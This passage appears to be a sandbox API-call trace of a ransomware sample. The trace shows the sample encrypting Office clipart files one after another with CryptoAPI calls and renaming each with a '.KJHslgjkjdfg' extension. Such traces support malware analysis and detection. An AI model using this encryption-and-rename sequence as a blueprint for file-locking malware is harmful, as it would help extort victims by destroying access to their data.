lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7300, lpOverlapped=0x0) returned 1 [0198.180] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x73d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.180] SetEndOfFile (hFile=0x130) returned 1 [0198.184] GetProcessHeap () returned 0x990000 [0198.184] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.184] GetProcessHeap () returned 0x990000 [0198.184] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.kjhslgjkjdfg")) returned 1 [0198.186] CloseHandle (hObject=0x130) returned 1 [0198.186] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0198.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.187] GetProcessHeap () returned 0x990000 [0198.187] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.187] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.187] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.187] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.187] GetProcessHeap () returned 0x990000 [0198.187] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.188] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.188] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.188] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.190] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.190] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.190] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.191] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.191] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.191] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.191] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5350, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5350, lpOverlapped=0x0) returned 1 [0198.192] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5350, dwBufLen=0x5350 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5350) returned 1 [0198.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.193] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5350, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5350, lpOverlapped=0x0) returned 1 [0198.193] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.193] SetEndOfFile (hFile=0x130) returned 1 [0198.196] GetProcessHeap () returned 0x990000 [0198.196] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.196] GetProcessHeap () returned 0x990000 [0198.196] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.kjhslgjkjdfg")) returned 1 [0198.197] CloseHandle (hObject=0x130) returned 1 [0198.197] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0198.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.198] GetProcessHeap () returned 0x990000 [0198.198] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.198] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.199] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.201] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.201] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.201] GetProcessHeap () returned 0x990000 [0198.201] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.201] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.202] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.202] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.202] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.202] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.202] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.202] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.202] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.202] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.202] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x48be, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x48be, lpOverlapped=0x0) returned 1 [0198.204] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x48c0, dwBufLen=0x48c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x48c0) returned 1 [0198.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.204] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x48c0, lpOverlapped=0x0) returned 1 [0198.204] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.204] SetEndOfFile (hFile=0x130) returned 1 [0198.207] GetProcessHeap () returned 0x990000 [0198.207] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.207] GetProcessHeap () returned 0x990000 [0198.207] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.kjhslgjkjdfg")) returned 1 [0198.208] CloseHandle (hObject=0x130) returned 1 [0198.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0198.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.210] GetProcessHeap () returned 0x990000 [0198.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.210] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.211] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.211] GetProcessHeap () returned 0x990000 [0198.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.211] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.211] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.211] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.213] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.213] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.213] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.213] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.213] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.213] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.214] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe60, lpOverlapped=0x0) returned 1 [0198.214] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe60, dwBufLen=0xe60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe60) returned 1 [0198.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.214] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe60, lpOverlapped=0x0) returned 1 [0198.214] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.214] SetEndOfFile (hFile=0x130) returned 1 [0198.217] GetProcessHeap () returned 0x990000 [0198.217] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.217] GetProcessHeap () returned 0x990000 [0198.217] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.kjhslgjkjdfg")) returned 1 [0198.225] CloseHandle (hObject=0x130) returned 1 [0198.225] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0198.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.226] GetProcessHeap () returned 0x990000 [0198.226] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.226] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.226] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.229] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.229] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.229] GetProcessHeap () returned 0x990000 [0198.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.229] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.229] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.229] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.229] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.229] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.230] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.230] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.230] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.230] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbbc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbbc, lpOverlapped=0x0) returned 1 [0198.230] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbc0) returned 1 [0198.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.230] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbc0, lpOverlapped=0x0) returned 1 [0198.230] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.230] SetEndOfFile (hFile=0x130) returned 1 [0198.233] GetProcessHeap () returned 0x990000 [0198.233] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.233] GetProcessHeap () returned 0x990000 [0198.233] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.kjhslgjkjdfg")) returned 1 [0198.235] CloseHandle (hObject=0x130) returned 1 [0198.235] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0198.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.236] GetProcessHeap () returned 0x990000 [0198.236] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, 